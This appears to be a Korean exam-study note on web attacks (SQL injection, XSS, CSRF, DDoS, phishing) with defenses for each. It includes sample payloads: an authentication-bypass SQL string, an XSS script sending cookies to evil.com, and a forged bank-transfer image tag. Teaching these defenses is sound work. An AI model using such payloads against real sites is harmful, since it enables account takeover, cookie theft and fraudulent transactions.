취약점 및 공격¶
1. OWASP Top 10¶
웹 애플리케이션의 주요 보안 취약점 목록입니다.
2. SQL Injection¶
사용자 입력에 SQL 쿼리를 삽입하여 DB를 비정상적으로 조작합니다.
공격 예시¶
-- 로그인 쿼리
SELECT * FROM users WHERE id='입력값' AND pw='입력값';
-- 공격: id에 ' OR '1'='1 입력
SELECT * FROM users WHERE id='' OR '1'='1' AND pw='';
-- 항상 참 → 인증 우회
방어¶
- Prepared Statement (파라미터화 쿼리) 사용
- 입력값 유효성 검사
- 최소 권한의 DB 계정 사용
- ORM 사용
// 취약한 코드
String query = "SELECT * FROM users WHERE id='" + id + "'";
// 안전한 코드 (Prepared Statement)
PreparedStatement pstmt = conn.prepareStatement(
"SELECT * FROM users WHERE id=?"
);
pstmt.setString(1, id);
3. XSS (Cross-Site Scripting)¶
악성 스크립트를 웹 페이지에 삽입하여 다른 사용자의 브라우저에서 실행시킵니다.
종류¶
| 종류 | 설명 |
|---|---|
| 반사형(Reflected) | URL 파라미터에 스크립트 삽입, 즉시 반응 |
| 저장형(Stored) | DB에 스크립트 저장 후 피해자에게 전달 |
| DOM 기반 | 클라이언트 측 JS가 DOM 조작 중 발생 |
공격 예시¶
<!-- 댓글에 악성 스크립트 삽입 -->
<script>document.location='http://evil.com?cookie='+document.cookie</script>
방어¶
- 출력 시 HTML 이스케이프 (
<→<) - CSP (Content Security Policy) 헤더 설정
- HTTPOnly 쿠키 설정 (JS에서 쿠키 접근 차단)
4. CSRF (Cross-Site Request Forgery)¶
인증된 사용자의 권한으로 의도치 않은 요청을 보내게 합니다.
공격 예시¶
<!-- 악성 사이트에 숨겨진 이미지 태그 -->
<img src="https://bank.com/transfer?to=attacker&amount=1000000">
<!-- 로그인된 사용자가 페이지 방문 시 자동으로 이체 요청 전송 -->
방어¶
- CSRF 토큰: 요청마다 임의 토큰을 검증
- SameSite 쿠키 속성 설정
- Referer 헤더 검증
XSS vs CSRF 차이¶
| 구분 | XSS | CSRF |
|---|---|---|
| 공격 대상 | 피해자 브라우저 | 서버 |
| 목적 | 스크립트 실행, 쿠키 탈취 | 피해자 권한으로 요청 위조 |
| 인증 필요 | 불필요 | 피해자가 로그인 상태여야 함 |
5. DDoS (Distributed Denial of Service)¶
다수의 좀비 PC로 대량의 트래픽을 발생시켜 서비스를 마비시킵니다.
공격 유형¶
| 유형 | 설명 |
|---|---|
| 볼류메트릭 공격 | 대역폭 소진 (UDP Flood, ICMP Flood) |
| 프로토콜 공격 | 서버 자원 소진 (SYN Flood, Ping of Death) |
| 애플리케이션 공격 | 특정 서비스 마비 (HTTP Flood, Slowloris) |
SYN Flood¶
방어¶
- CDN 및 클라우드 기반 DDoS 방어 서비스
- 트래픽 임계치 기반 차단
- SYN Cookie 사용
6. 사회공학적 공격 (Social Engineering)¶
기술적 취약점이 아닌 사람의 심리를 이용하는 공격입니다.
| 공격 | 설명 |
|---|---|
| 피싱(Phishing) | 가짜 이메일/사이트로 정보 탈취 |
| 스피어 피싱 | 특정 대상을 타깃으로 한 정밀 피싱 |
| 스미싱(Smishing) | SMS를 이용한 피싱 |
| 보이스 피싱(Vishing) | 전화를 이용한 피싱 |
| 파밍(Pharming) | DNS 변조로 가짜 사이트로 유도 |
| 랜섬웨어 | 파일 암호화 후 복호화 대가로 금전 요구 |
시험 포인트¶
- SQL Injection 방어: Prepared Statement (파라미터화 쿼리)
- XSS 방어: HTML 이스케이프, CSP, HTTPOnly 쿠키
- CSRF 방어: CSRF 토큰, SameSite 쿠키
- XSS vs CSRF: 스크립트 실행 vs 요청 위조
- DDoS vs DoS: 분산(다수 공격자) vs 단일 공격자
- SYN Flood: half-open 연결로 서버 자원 소진
- 피싱 vs 파밍: 가짜 사이트 유도 vs DNS 변조로 유도